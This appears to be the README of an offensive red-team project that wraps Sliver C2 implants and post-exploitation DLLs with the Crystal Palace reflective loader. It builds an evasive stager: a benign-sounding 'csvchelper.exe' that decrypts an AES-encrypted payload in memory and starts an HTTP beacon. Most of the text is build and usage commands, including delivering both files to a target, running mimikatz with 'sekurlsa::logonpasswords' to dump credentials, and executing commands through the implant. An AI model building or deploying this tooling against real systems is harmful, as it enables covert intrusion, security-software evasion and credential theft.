sliver-server generate --format shared → impl.dll
        │
        ▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin  (~110 KB PICO)
        │
        ▼
bundle-stager.sh                   → csvchelper.exe (~17 KB, no embedded payload)
                                   → payload.dat    (~36 MB AES-256-CBC ciphertext)
        │
        ▼ deliver BOTH files to same directory on target
        ▼
Windows VM: csvchelper.exe
        │
        ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
        ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
        ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session

sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin

sliver > crystal --payload C:/path/file.pico.bin|args here

sliver > crystal-exec --cmd "whoami /all"

crystal-kit-sliver/
├── loader/              ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/       ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip       ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/         ← Sliver-specific build glue
    ├── extension.json           Sliver Extension manifest
    ├── generate.sh              Wrap a post-ex DLL  → PICO (Use case B)
    ├── generate-implant.sh      Wrap a Sliver DLL   → PICO (Use case A)
    ├── bundle-implant.sh        Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
    ├── bundle-stager.sh         Build custom stager: csvchelper.exe + payload.dat (primary)
    ├── pack-extension.sh        Pack DLL + manifest into Sliver Extension tarball
    ├── Makefile                 make objects / package / clean
    ├── stager/                  Custom stager sources (AES-256-CBC, asInvoker manifest)
    └── wrapper/                 crystal-loader.c (BOF-compat DLL wrapper)

docs/
├── RUNBOOK.md           Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md       File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md         Build prerequisites and pipeline details

# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
   | tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist

# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all

# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
   crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)

# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args:  postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh

# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh